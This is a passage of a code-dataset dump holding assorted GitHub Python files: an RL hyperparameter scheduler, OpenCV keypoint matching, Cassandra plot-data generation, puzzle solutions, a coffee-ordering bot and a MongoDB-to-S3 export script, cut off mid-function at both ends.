#states.append(end_state)\n\n\n parts_iter = iter(parts)\n states_iter = iter(states)\n\n for state in states[:-1]:\n parts_iter, next_parts = tee(parts_iter)\n\n next(states_iter)\n states_iter, next_states = tee(states_iter)\n\n add_transitions_to_state(state, next_parts, next_states)\n next(parts_iter)\n\n states[-1]._end_state = True\n\n return start_state\n\n\ndef add_transitions_to_state(state, parts, next_states):\n part = next(parts)#T\n next_state = next(next_states)#4\n with suppress(StopIteration):\n while part.endswith('*'):\n char = part[0]\n\n state.add_state_transition(char, next_state)\n next_state.add_state_transition(char, next_state)\n\n next_state = next(next_states)\n part = next(parts)\n\n\n state.add_state_transition(part, next_state)\n\n","repo_name":"SandersJ16/Pygex","sub_path":"pygex/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16068247382","text":"from typing import Callable, Tuple, List\nimport tensorflow.compat.v1 as tf\nfrom functools import partial\nfrom .progress import Progress\nfrom .exceptions import *\nfrom .event_writer import EventWriter\nfrom ...config import config\n\n__all__ = [\"LRScheduler\", \"BetaScheduler\", \"EpsilonScheduler\", \"TauScheduler\"]\n\nclass RegisterSchemes:\n\n @staticmethod\n def register(schemes: List) -> Callable:\n def outer(cls: Callable) -> Callable:\n def inner(scheme: str, value: float, progress: Progress, config_: config,\n writer: tf.summary.FileWriter) -> None:\n if scheme not in schemes:\n raise UnregisteredSchemeError(\"scheme: {} not registered with {} class\".format(scheme,\n cls.__name__))\n inst = cls(scheme, value, progress, config_, writer)\n inst._registered_schemes = schemes\n inst._scheme = getattr(inst, scheme)\n return inst\n return inner\n return outer\n\nclass Scheduler(RegisterSchemes):\n\n def __getattr__(self, func: str) -> Callable:\n if func == \"_registered_schemes\":\n raise UnregisteredSchemeError(\"no scheme registration found with {} class\".format(func,\n self.__class__.__name__))\n base_idx = len(self.__class__.__mro__)-3\n if func not in self._registered_schemes:\n raise UnregisteredSchemeError(\"scheme: {} not registered with {} class\".format(func,\n self.__class__.__name__))\n scheme = self.__class__.__mro__[base_idx].__dict__.get(\"_{}\".format(func), None)\n if scheme is None:\n raise UnregisteredSchemeError(\"invalid scheme registration : {}\".format(func))\n return lambda *args, **kwargs: scheme(self, *args, **kwargs)\n \n def _constant(self, p: float) -> float:\n return 1\n\n def _linear(self, p: float) -> float:\n return 1-p\n\n def _exponential(self, p: float, decay_factor: float) -> float:\n return (1-decay_factor)**p\n\n def _middle_drop(self, p: float) -> float:\n eps = 0.75\n if 1-p < eps:\n return eps*0.1\n return 1-p\n\n def _double_linear_con(self, p: float) -> float:\n p *= 2\n eps = 0.125\n if 1-p < eps:\n return eps\n return 1-p\n\n def _double_middle_drop(self, p: float) -> float:\n eps1 = 0.75\n eps2 = 0.25\n if 1-p < eps1:\n if 1-p < eps2:\n return eps2*0.5\n return eps1*0.1\n return 1-p\n\n def value(self, p: float, *args, **kwargs) -> float:\n return self._scheme(p, *args, **kwargs)\n\n@Scheduler.register([\"constant\", \"linear\", \"middle_drop\", \"double_linear_con\", \"double_middle_drop\"])\nclass LRScheduler(EventWriter, Scheduler):\n\n def __init__(self, scheme: str, learning_rate: float, progress: Progress, config_: config,\n writer: tf.summary.FileWriter) -> None:\n self._lr = learning_rate\n self._progress = progress\n self._set_writer(\"Hyperparams Schedule/Epoch - Learning Rate\", config_ & config.LR_EVENT,\n writer, progress, \"training_clock\")\n\n @property\n def _p(self) -> float:\n return self._progress.training_clock/self._progress.training_steps\n\n @property\n @EventWriter.registerwriter\n def lr(self) -> float:\n return self._lr*self.value(self._p)\n\n@Scheduler.register([\"constant\", \"linear\"])\nclass BetaScheduler(EventWriter, Scheduler):\n\n def __init__(self, scheme: str, beta: float, progress: Progress, config_: config,\n writer: tf.summary.FileWriter) -> None:\n self._beta = beta\n self._progress = progress\n self._set_writer(\"Hyperparams Schedule/Epoch - Beta\", config_ & config.BETA_EVENT,\n writer, progress, \"training_clock\")\n\n @property\n def _p(self) -> float:\n return self._progress.training_clock/self._progress.training_steps\n\n @property\n @EventWriter.registerwriter\n def beta(self) -> float:\n return min(1, self._beta + (1-self._beta)*(1-self.value(self._p)))\n\n@Scheduler.register([\"constant\", \"linear\", \"exponential\"])\nclass EpsilonScheduler(EventWriter, Scheduler):\n\n def __init__(self, scheme: str, epsilon_range: Tuple[float, float], progress: Progress, config_: config,\n writer: tf.summary.FileWriter) -> None:\n self._epsilon, self._final_epsilon = epsilon_range\n self._progress = progress\n self._scheme = scheme\n if scheme == \"exponential\":\n self.value = partial(self.value, decay_factor=1-epsilon_range[1])\n self._set_writer(\"Hyperparams Schedule/Steps - Epsilon\", config_ & config.EPSILON_EVENT,\n writer, progress, \"clock\")\n\n @property\n def _p(self) -> float:\n return self._progress.explore_clock/self._progress.explore\n\n @property\n @EventWriter.registerwriter\n def epsilon(self) -> float:\n return max(self._final_epsilon, self._epsilon - (self._epsilon-self._final_epsilon)*(1-self.value(self._p)))\n\n@Scheduler.register([\"constant\", \"linear\", \"exponential\"])\nclass TauScheduler(EventWriter, Scheduler):\n\n def __init__(self, scheme: str, tau_range: Tuple[float, float], progress: Progress, config_: config,\n writer: tf.summary.FileWriter) -> None:\n self._tau, self._final_tau = tau_range\n self._progress = progress\n self._scheme = scheme\n if scheme == \"exponential\":\n self.value = partial(self.value, decay_factor=1-tau_range[1])\n self._set_writer(\"Hyperparams Schedule/Steps - Tau\", config_ & config.TAU_EVENT,\n writer, progress, \"clock\")\n\n @property\n def _p(self) -> float:\n return self._progress.explore_clock/self._progress.explore\n\n @property\n @EventWriter.registerwriter\n def tau(self) -> float:\n return max(self._final_tau, self._tau - (self._tau-self._final_tau)*(1-self.value(self._p)))\n","repo_name":"tensor-mutator/Symbiosis","sub_path":"symbiosis/symbiosis/Agents/Utilities/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":6449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31850514945","text":"import os\nimport sys\n\nimport cv2\nimport numpy as np\n\n\nsys.path.append(os.path.dirname(__file__))\n\nDETECTOR_NORMS_DICT = {\n \"SIFT\": (cv2.SIFT_create(), cv2.NORM_L2),\n \"ORB\": (cv2.ORB_create(), cv2.NORM_HAMMING),\n \"AKAZE\": (cv2.AKAZE_create(), cv2.NORM_HAMMING),\n \"BRISK\": (cv2.BRISK_create(), cv2.NORM_HAMMING),\n}\nFLANN_INDEX_KDTREE = 0\nFLANN_INDEX_LSH = 6\n\n\ndef algorithm(left_image, right_image, detector_name: str = \"SIFT\"):\n left_image_gray = cv2.cvtColor(left_image, cv2.COLOR_BGR2GRAY)\n right_image_gray = cv2.cvtColor(right_image, cv2.COLOR_BGR2GRAY)\n\n F, kps1, kps2, matches, img1_draw, img2_draw, img_Keypoint_matches = \\\n find_fundamental_matrix(left_image_gray, right_image_gray, detector_name)\n\n return kps1, kps2, matches, img1_draw, img2_draw, img_Keypoint_matches\n\n\ndef find_fundamental_matrix(img1, img2, detector_name: str = \"SIFT\", ratio: float = 0.6):\n all_kps1, all_kps2, matches, img1_draw, img2_draw, img_Keypoint_matches = \\\n match_features(img1, img2, detector_name, ratio)\n kps1 = np.asarray([all_kps1[m.queryIdx].pt for m in matches])\n kps2 = np.asarray([all_kps2[m.trainIdx].pt for m in matches])\n\n num_keypoints = len(matches)\n if num_keypoints < 7:\n return None, kps1, kps2\n\n flag = cv2.FM_7POINT if num_keypoints == 7 else cv2.FM_8POINT\n\n F, mask = cv2.findFundamentalMat(kps1, kps2, flag)\n\n # get inlier keypoints\n kps1 = kps1[mask.ravel() == 1]\n kps2 = kps2[mask.ravel() == 1]\n\n return F, kps1, kps2, matches, img1_draw, img2_draw, img_Keypoint_matches\n\n\ndef match_features(img1, img2, detector_name: str = \"SIFT\", ratio: float = 0.6):\n assert img1.ndim == 2 and img1.dtype == np.uint8, \"img1 is invalid\"\n assert img2.ndim == 2 and img2.dtype == np.uint8, \"img2 is invalid\"\n\n keypoint_detector, keypoint_matcher = _init_detector_matcher(detector_name)\n\n kps1, des1 = keypoint_detector.detectAndCompute(img1, None)\n kps2, des2 = keypoint_detector.detectAndCompute(img2, None)\n matches = keypoint_matcher.knnMatch(des1, des2, k=2)\n\n img_draw_L = cv2.drawKeypoints(\n img1, kps1, None, flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n img_draw_R = cv2.drawKeypoints(\n img1, kps1, None, flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n # matches = [m[0] for m in matches if len(m) == 2 and m[0].distance < ratio * m[1].distance]\n\n matches = [m[0] for m in matches if len(m) == 2 and m[0].distance < ratio * m[1].distance]\n\n img_Keypoint_matches = cv2.drawMatches(img1, kps1,\n img2, kps2, matches, None)\n\n return kps1, kps2, matches, img_draw_L, img_draw_R, img_Keypoint_matches\n\n\ndef _init_detector_matcher(detector_name: str):\n try:\n detector, norm = DETECTOR_NORMS_DICT[detector_name]\n except KeyError:\n detector, norm = DETECTOR_NORMS_DICT[\"ORB\"]\n\n flann_params = (\n dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n if norm == cv2.NORM_L2\n else dict(algorithm=FLANN_INDEX_LSH, table_number=6, key_size=12, multi_probe_level=1)\n )\n matcher = cv2.FlannBasedMatcher(flann_params, {})\n return detector, matcher\n","repo_name":"Herusyahputra/PycharmProjects","sub_path":"plugin store/Disparity_image/model/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14006639359","text":"import datetime\nimport math\nimport os\nimport sys\n\nsys.path.insert(0, \"../../util/python\")\nimport Cons\nimport Util\n\nimport CassLogReader\nimport Desc\nimport Event\nimport SimTime\nimport TabletMinMaxTimestampsTimelinePlotDataGenerator\n\n_fn_plot_data = None\n\n_id_events = {}\n\ndef Gen():\n\twith Cons.MeasureTime(\"Generating tablet accesses plot data for min/max timestamps plot ...\"):\n\t\tfor l in CassLogReader._logs:\n\t\t\t_BuildIdEventsMap(l)\n\t\tNumToTime.SetNumAccessesTimeRatio()\n\t\t_WriteToFile()\n\n\nclass Events:\n\tdef __init__(self):\n\t\tself.time_cnts = {}\n\n\tdef AddAccStat(self, simulated_time, tablet_acc_stat):\n\t\t# tablet_acc_stat is of type AccessStat.AccStat\n\t\tself.time_cnts[simulated_time] = tablet_acc_stat\n\n\tdef __str__(self):\n\t\treturn \"Events: \" + \", \".join(\"%s: %s\" % item for item in vars(self).items())\n\n\ndef _BuildIdEventsMap(e):\n\tif type(e.event) is not Event.AccessStat:\n\t\treturn\n\tfor e1 in e.event.entries:\n\t\tif type(e1) is Event.AccessStat.MemtAccStat:\n\t\t\t# We don't plot memtables for now.\n\t\t\tpass\n\t\telif type(e1) is Event.AccessStat.SstAccStat:\n\t\t\tsst_gen = e1.id_\n\t\t\tif TabletMinMaxTimestampsTimelinePlotDataGenerator.SstExist(sst_gen):\n\t\t\t\tglobal _id_events\n\t\t\t\tif sst_gen not in _id_events:\n\t\t\t\t\t_id_events[sst_gen] = Events()\n\t\t\t\t_id_events[sst_gen].AddAccStat(e.simulated_time, e1)\n\t\t\t\t#Cons.P(\"%s %s\" % (e.simulated_time, e1))\n\n\nclass NumToTime:\n\tmax_num_bf_positives_per_day = 0\n\tmin_timestamp_range = None\n\t# in seconds, in float\n\ttimedur_per_access = None\n\n\t# To skip plotting\n\tdatetime_out_of_rage = \"090101-000000.000000\"\n\n\t# Number of accesses is the sum of true and false positives, both of which\n\t# access the SSTable.\n\t@staticmethod\n\tdef _SetMaxNumAccesses():\n\t\tglobal _id_events\n\t\tfor sstgen, events in sorted(_id_events.iteritems()):\n\t\t\ttime_prev = None\n\t\t\tnum_needto_read_datafile_prev = 0\n\t\t\tfor time_, cnts in sorted(events.time_cnts.iteritems()):\n\t\t\t\tif time_prev == None:\n\t\t\t\t\t# We ignore the first time window, i.e., we don't print anything for\n\t\t\t\t\t# it. There is a very small time window between the first access and\n\t\t\t\t\t# it is logged.\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tif time_ == time_prev:\n\t\t\t\t\t\t# It may happen.\n\t\t\t\t\t\traise RuntimeError(\"Unexpected: time_(%s) == time_prev\" % time_)\n\t\t\t\t\ttime_dur_days = (time_ - time_prev).total_seconds() / (24.0 * 3600)\n\t\t\t\t\tnum_needto_read_datafile_per_day = (cnts.num_needto_read_datafile - num_needto_read_datafile_prev) / time_dur_days\n\t\t\t\t\t#Cons.P(\"%02d %20s %10d %10.6f %13.6f\"\n\t\t\t\t\t#\t\t% (sstgen\n\t\t\t\t\t#\t\t\t, time_.strftime(\"%y%m%d-%H%M%S.%f\")\n\t\t\t\t\t#\t\t\t, cnts.num_needto_read_datafile - num_needto_read_datafile_prev\n\t\t\t\t\t#\t\t\t, time_dur_days\n\t\t\t\t\t#\t\t\t, num_needto_read_datafile_per_day))\n\t\t\t\t\tNumToTime.max_num_bf_positives_per_day = max(NumToTime.max_num_bf_positives_per_day, num_needto_read_datafile_per_day)\n\t\t\t\ttime_prev = time_\n\t\t\t\tnum_needto_read_datafile_prev = cnts.num_needto_read_datafile\n\t\tCons.P(\"NumToTime.max_num_bf_positives_per_day: %f\" % NumToTime.max_num_bf_positives_per_day)\n\n\t@staticmethod\n\tdef _SetMinTabletTimestampRange():\n\t\tfor sstgen, v in sorted(TabletMinMaxTimestampsTimelinePlotDataGenerator._id_events.iteritems()):\n\t\t\tif NumToTime.min_timestamp_range == None:\n\t\t\t\tNumToTime.min_timestamp_range = v.TimestampRange()\n\t\t\telse:\n\t\t\t\tNumToTime.min_timestamp_range = min(NumToTime.min_timestamp_range, v.TimestampRange())\n\t\tCons.P(\"NumToTime.min_timestamp_range: %s\" % NumToTime.min_timestamp_range)\n\n\t@staticmethod\n\tdef SetNumAccessesTimeRatio():\n\t\tNumToTime._SetMaxNumAccesses()\n\t\tNumToTime._SetMinTabletTimestampRange()\n\t\tNumToTime.timedur_per_access = NumToTime.min_timestamp_range.total_seconds() / NumToTime.max_num_bf_positives_per_day\n\n\t@staticmethod\n\tdef Conv(base_time, cnt):\n\t\tif cnt == 0:\n\t\t\treturn NumToTime.datetime_out_of_rage\n\t\telse:\n\t\t\treturn (base_time + datetime.timedelta(seconds = (NumToTime.timedur_per_access * cnt))).strftime(\"%y%m%d-%H%M%S.%f\")\n\n\t@staticmethod\n\tdef ConvLogscale(base_time, cnt):\n\t\ttry:\n\t\t\tif cnt == 0:\n\t\t\t\treturn NumToTime.datetime_out_of_rage\n\t\t\telse:\n\t\t\t\treturn (base_time + datetime.timedelta(seconds = (NumToTime.min_timestamp_range.total_seconds()\n\t\t\t\t\t* math.log(cnt + 1) / math.log(NumToTime.max_num_bf_positives_per_day + 1)))).strftime(\"%y%m%d-%H%M%S.%f\")\n\t\texcept ValueError as e:\n\t\t\tCons.P(\"%s: cnt=%d NumToTime.max_num_bf_positives_per_day=%d\"\n\t\t\t\t\t% (e, cnt, NumToTime.max_num_bf_positives_per_day))\n\t\t\traise\n\n\ndef _WriteToFile():\n\tglobal _fn_plot_data\n\t_fn_plot_data = os.path.dirname(__file__) \\\n\t\t\t+ \"/plot-data/\" + Desc.ExpDatetime() + \"-tablet-accesses-for-min-max-timestamp-plot-by-time\"\n\twith open(_fn_plot_data, \"w\") as fo:\n\t\tfmt = \"%2s %20s %20s\" \\\n\t\t\t\t\" %10d %10d %10d\" \\\n\t\t\t\t\" %10d %10d\" \\\n\t\t\t\t\" %20s\"\n\t\tfo.write(\"%s\\n\" % Util.BuildHeader(fmt,\n\t\t\t\"id(sst_gen) simulated_time y_cord_base(min_timestamp)\"\n\t\t\t\" num_reads_per_day num_needto_read_datafile_per_day num_bf_negatives_per_day\"\n\t\t\t\" num_num_true_positives_per_day(not_complete) num_false_positives_per_day(not_complete)\"\n\t\t\t\" num_bf_positivies_per_day_converted_to_time\"))\n\t\tfor id_, v in sorted(_id_events.iteritems()):\n\t\t\ttime_prev = None\n\t\t\tnum_reads_prev = 0\n\t\t\tnum_needto_read_datafile_prev = 0\n\t\t\tnum_negatives_prev = 0\n\t\t\t# These two are not complete numbers. They are not always tracked.\n\t\t\tnum_tp_prev = 0\n\t\t\tnum_fp_prev = 0\n\t\t\tmin_timestamp = TabletMinMaxTimestampsTimelinePlotDataGenerator.GetTabletMinTimestamp(id_)\n\t\t\tfor time_, cnts in sorted(v.time_cnts.iteritems()):\n\t\t\t\tif time_ > SimTime.SimulatedTimeEnd():\n\t\t\t\t\tcontinue\n\n\t\t\t\tnum_negatives = cnts.num_reads - cnts.num_needto_read_datafile\n\t\t\t\tif time_prev == None:\n\t\t\t\t\t# We ignore the first time window, i.e., we don't print anything for\n\t\t\t\t\t# it. There is a very small time window between the first access and\n\t\t\t\t\t# it is logged.\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tif time_ == time_prev:\n\t\t\t\t\t\t# It may happen.\n\t\t\t\t\t\traise RuntimeError(\"Unexpected: time_(%s) == time_prev\" % time_)\n\t\t\t\t\ttime_dur_days = (time_ - time_prev).total_seconds() / (24.0 * 3600)\n\t\t\t\t\tnum_needto_read_datafile_per_day = (cnts.num_needto_read_datafile - num_needto_read_datafile_prev) / time_dur_days\n\t\t\t\t\tif cnts.num_needto_read_datafile < num_needto_read_datafile_prev:\n\t\t\t\t\t\tnum_needto_read_datafile_per_day = 0\n\t\t\t\t\t\t# This can happen when multiple threads create SSTable access stat instances simultaneously.\n\t\t\t\t\t\tCons.P(\"BF positives decreases and ignored: %20s %d %d %f\"\n\t\t\t\t\t\t\t\t% (time_.strftime(\"%y%m%d-%H%M%S.%f\")\n\t\t\t\t\t\t\t\t\t, num_needto_read_datafile_prev\n\t\t\t\t\t\t\t\t\t, cnts.num_needto_read_datafile\n\t\t\t\t\t\t\t\t\t, time_dur_days\n\t\t\t\t\t\t\t\t\t))\n\t\t\t\t\tfo.write((fmt + \"\\n\") % (id_\n\t\t\t\t\t\t, time_.strftime(\"%y%m%d-%H%M%S.%f\")\n\t\t\t\t\t\t, min_timestamp.strftime(\"%y%m%d-%H%M%S.%f\")\n\t\t\t\t\t\t, (cnts.num_reads - num_reads_prev) / time_dur_days\n\t\t\t\t\t\t, num_needto_read_datafile_per_day\n\t\t\t\t\t\t, (num_negatives - num_negatives_prev) / time_dur_days\n\t\t\t\t\t\t, (cnts.num_tp - num_tp_prev) / time_dur_days\n\t\t\t\t\t\t, (cnts.num_fp - num_fp_prev) / time_dur_days\n\t\t\t\t\t\t, NumToTime.Conv(min_timestamp, num_needto_read_datafile_per_day)\n\t\t\t\t\t\t))\n\t\t\t\ttime_prev = time_\n\t\t\t\tnum_reads_prev = cnts.num_reads\n\t\t\t\tnum_needto_read_datafile_prev = cnts.num_needto_read_datafile\n\t\t\t\tnum_negatives_prev = num_negatives\n\t\t\t\tnum_tp_prev = cnts.num_tp\n\t\t\t\tnum_fp_prev = cnts.num_fp\n\t\t\tfo.write(\"\\n\")\n\tCons.P(\"Created file %s %d\" % (_fn_plot_data, os.path.getsize(_fn_plot_data)))\n","repo_name":"hobinyoon/mutant-cassandra-2.2.3","sub_path":"mtdb/process-log/calc-cost-latency-plot-tablet-timeline/TabletAccessesForTabletMinMaxTimestampsTimelinePlotDataGenerator.py","file_name":"TabletAccessesForTabletMinMaxTimestampsTimelinePlotDataGenerator.py","file_ext":"py","file_size_in_byte":7296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70018373159","text":"with open(\"input/6dec.txt\") as file:\n code = file.read()\n\ndef find_marker(k):\n # divide code to k element sequences\n for n in range(len(code) - (k + 1)):\n seq = code[n:n + k]\n\n # if no duplicate chars in string break loop\n # and return position index+1 of last char in sequence\n if len(set(seq)) == len(seq):\n return n+k\nprint (\"Before the first start-of-packet marker is detected we need to procces \" + str(find_marker(4)) + \" characters\")\nprint (\"Before the first start-of-message marker is detected we need to procces \" + str(find_marker(14)) + \" characters\")\n\n","repo_name":"joanna-salek/Advent_of_code_2022","sub_path":"6dec.py","file_name":"6dec.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25573518229","text":"def readln():\n return list(map(int, input().split()))\n\n\nN, M, C = readln()\nB = readln()\n\nA = [readln() for _ in range(N)]\n\nans = 0\nfor a in A:\n tmp = sum([aa * b for aa, b in zip(a, B)]) + C\n if tmp > 0:\n ans += 1\n\nprint(ans)\n","repo_name":"masakiaota/kyoupuro","sub_path":"contests/ABC121/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"44716645160","text":"from flask import Flask, request, send_from_directory, send_file, render_template, jsonify\nimport os\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/static/\")\ndef send_public(name):\n print(\"static\" + \"/\" + dir_path)\n return send_from_directory(dir_path + \"/examples/\", filename=name)\n","repo_name":"threefoldtech/web_research","sub_path":"ThreeBotPackages/gundb/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24179662452","text":"def coffee_bot():\n print(\"Welcome to Alamo Coffee!\")\n size = get_size()\n drink_type = get_drink_type()\n if drink_type == \"latte\":\n latte = order_latte()\n print(\"Alright so that's a \" + size + \" \" + latte + \".\")\n else:\n print(\"Alright so that's a \" + size + \" \" + drink_type + \".\")\n name = input(\"Can I get your name please?\")\n print(\"Ok, \" + name + \"! Your drink will be out shortly.\")\n print(\"A few moments later.....\")\n if drink_type == \"latte\":\n print(latte.capitalize() + \" for \" + name + \"!\")\n else:\n print(drink_type.capitalize() + \" for \" + name + \"!\")\n\n\n# get drink size\ndef get_size():\n while True:\n user_response = input(\"What size drink can I get for you? \\n[a] Small \\n[b] Medium \\n[c] Large \\n>\").lower()\n switch = {\n \"a\": \"small\",\n \"b\": \"medium\",\n \"c\": \"large\"\n }\n if switch.get(user_response, \"Invalid size\") != \"Invalid size\":\n break\n else:\n print(\"Please select a size by inputting 'a', 'b' or 'c'.\")\n return switch.get(user_response, \"Invalid size\")\n\n\n# end get drink size\n# get drink type\ndef get_drink_type():\n while True:\n user_response = input(\n \"What type of drink would you like? \\n[a] Brewed Coffee \\n[b] Mocha \\n[c] Latte \\n>\").lower()\n switch = {\n \"a\": \"brewed coffee\",\n \"b\": \"mocha\",\n \"c\": \"latte\"\n }\n if switch.get(user_response, \"Invalid size\") != \"Invalid size\":\n break\n else:\n print(\"Please select a drink type by inputting 'a', 'b' or 'c'.\")\n return switch.get(user_response, \"Invalid size\")\n\n\n# end get drink type\n# if latte is selected. order latter\ndef order_latte():\n while True:\n user_response = input(\"And what kind of milk for your latte? \\n[a] 2% Milk \\n[b] Non-fat Milk \\n[c] Soy Milk \"\n \"\\n>\").lower()\n switch = {\n \"a\": \"latte\",\n \"b\": \"non-fat latte\",\n \"c\": \"soy latte\"\n }\n if switch.get(user_response, \"Invalid size\") != \"Invalid size\":\n break\n else:\n print(\"Please select a milk type by inputting 'a', 'b' or 'c'.\")\n return switch.get(user_response, \"Invalid size\")\n\n\n# call main function\ncoffee_bot()\nprint(\"Thanks for coming to Alamo Coffee!!\")\n","repo_name":"nolandseigler/python-sandbox","sub_path":"alamo_coffee_bot.py","file_name":"alamo_coffee_bot.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29693869246","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\n'''\n阅读数分布比例\n'''\n\nname = ['日期', '时间', '标题', '作者', '摘要', '创作类型', '是否头条号', '阅读数', '点赞数', '评论数', '地址']\ndf = pd.read_excel('weixin.xlsx', encoding='utf-8', header=0, names=name)\ndata = df[['阅读数']]\na = data.sort_values(by=['阅读数'], ascending=False)\none = a[a['阅读数'] >= 70000].size\ntwo = a[(a['阅读数'] >= 30000) & (a['阅读数'] < 70000)].size\nthree = a[(a['阅读数'] >= 10000) & (a['阅读数'] < 30000)].size\nfour = a[(a['阅读数'] >= 1000) & (a['阅读数'] < 10000)].size\nfive = a[(a['阅读数'] < 1000)].size\nexplode = [0.3, 0, 0, 0, 0]\nfras = [one, two, three, four, five]\nplt.figure(figsize=(15, 5))\nplt.axes(aspect=1)\nplt.title('阅读数分布比例', fontsize=18)\nplt.pie(x=fras, autopct='%.2f%%', explode=explode, shadow=True,\n labels=['大于70,000', '30,000~70,000', '10,000~30,000', '1000~10,000', '小于1,000'])\nplt.show()\n","repo_name":"Kingson4Wu/python3_demo","sub_path":"src/com/kxw/pandas/weixin/ReadingAnalysis.py","file_name":"ReadingAnalysis.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8335570695","text":"from pymongo import MongoClient\nimport csv\nimport boto3\nimport datetime\nfrom datetime import timedelta\nimport configparser\n\n# Load the configuration values\nparser = configparser.ConfigParser()\nparser.read(\"pipeline.conf\")\nclient = parser.get(\"mongo_config\", \"client\")\ndatabase_name = parser.get(\"mongo_config\", \"database\")\ncollection_name = parser.get(\"mongo_config\", \"collection\")\n\nmongo_client = MongoClient(client)\n\n# connect to the db where the collection resides\nmongo_db = mongo_client[database_name]\n\n# choose the collection to query documents from\nmongo_collection = mongo_db[collection_name]\n\nstart_date = datetime.datetime.today() + timedelta(days= -1)\nend_date = start_date + timedelta(days= 1)\n\nmongo_query = { \n \"$and\": [{\"event_timestamp\": {\"$gte\": start_date}}, \n {\"event_timestamp\": {\"$lt\": end_date}}]}\n\n# `cursor` named event_docs to iterate through resulting documents\nevent_docs = mongo_collection.find(mongo_query, batch_size=3000)\n\n# create a blank list to store the results\nall_events = []\n\n# iterate through the cursor\nfor doc in event_docs:\n # Include default values\n event_id = str(doc.get(\"event_id\", -1))\n event_timestamp = doc.get(\"event_timestamp\", None)\n event_name = doc.get(\"event_name\", None)\n\n # add all the event properties into a list\n current_event = []\n current_event.append(event_id)\n current_event.append(event_timestamp)\n current_event.append(event_name)\n\n # add all the events to the final list of events\n all_events.append(current_event)\n\n# Write the `all_events` list to a CSV file\nexport_file = \"export_mongo_file.csv\"\n\nwith open(export_file, 'w') as fp:\n csvw = csv.writer(fp, delimiter='|')\n csvw.writerows(all_events)\nfp.close()\n\n# Upload the CSV file to S3 bucket\n# load the 'aws_boto_credentials' values\nparser = configparser.ConfigParser()\nparser.read(\"pipeline.conf\")\naccess_key = parser.get(\"aws_boto_credentials\", \"access_key\")\nsecret_key = parser.get(\"aws_boto_credentials\", \"secret_key\")\nbucket_name = parser.get(\"aws_boto_credentials\", \"bucket_name\")\n\ns3 = boto3.client('s3',\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_key)\n\ns3_file = export_file\n\ns3.upload_file(export_file, bucket_name, s3_file)","repo_name":"sparsh-ai/recohut","sub_path":"docs/02-storage/mongodb-scripts/mongo_extract.py","file_name":"mongo_extract.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"18"} +{"seq_id":"70110741481","text":"def solution(participant, completion):\n answer = ''\n part_dict = {}\n temp = 0\n \n for i in participant:\n # participant 요소의 해시값을 part_dict의 key로 넣어주고,\n # participant 요소를 value로 넣어준다.\n part_dict[hash(i)] = i\n \n temp += hash(i)\n \n for com in completion:\n # completion 요소들의 해시값을 temp 에서 다 빼준다.\n # 전제에 완주하지 못한 사람은 1명이라고 했으니, 다 빼주고 나면 1명의 해시값만 남는다.\n temp -= hash(com)\n \n answer = part_dict[temp]\n \n return answer","repo_name":"Eunjnnn/AlgorithmStudy","sub_path":"Programmers/Level1/완주하지 못한 선수.py","file_name":"완주하지 못한 선수.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6178236422","text":"def auto_process(student_folder_name: str, result_folder_name: str = \"result\", verbose: bool = False):\n \"\"\"\n 학생들의 중간고사 문제지를 자동으로 처리해주는 함수입니다.\n\n Parameter\n ---------\n student_folder_name: str\n 학생들의 코드파일을 하나의 폴더에 전부 넣어두셔야 합니다.\n 이 때 해당 폴더의 제목을 파라미터로 받습니다.\n\n result_folder_name: str\n 자동화된 결과물을 저장할 폴더명입니다. 기본값은 `result` 입니다.\n\n verbose: bool\n 무엇을 처리하는지 로그를 보여줍니다.\n\n Raises\n ------\n AssertionError\n 다음과 같은 경우 해당 오류가 발생합니다.\n\n 1. 입력받은 폴더파일에 학생들의 코드파일이 존재하지 않을경우\n\n 2. 결과물을 저장할 폴더가 이미 생성되어져 있는 경우\n - 본래 존재하는 폴더일 경우 파일에 손상을 끼칠 수 있기 때문에 따로 처리해두었습니다.\n\n Example\n -------\n >>> auto_process(\"중간고사A반\")\n # 중간고사A반 폴더에 있는 학생들의 코드파일을 전부 처리하여 result 폴더 내에 정리해줌\n \"\"\"\n\n import os\n import shutil\n from docx import Document\n\n # 학생들의 코드 파일\n file_list = os.listdir(student_folder_name)\n assert file_list, \"폴더에 아무런 파일도 없습니다!\"\n\n # 폴더가 만들어져있지 않을 경우\n if not os.path.exists(result_folder_name):\n os.makedirs(result_folder_name) # 폴더 생성\n\n if verbose:\n print(\"Starting...\")\n\n # 각 학생들의 파일을 읽어옴\n for file in file_list:\n if 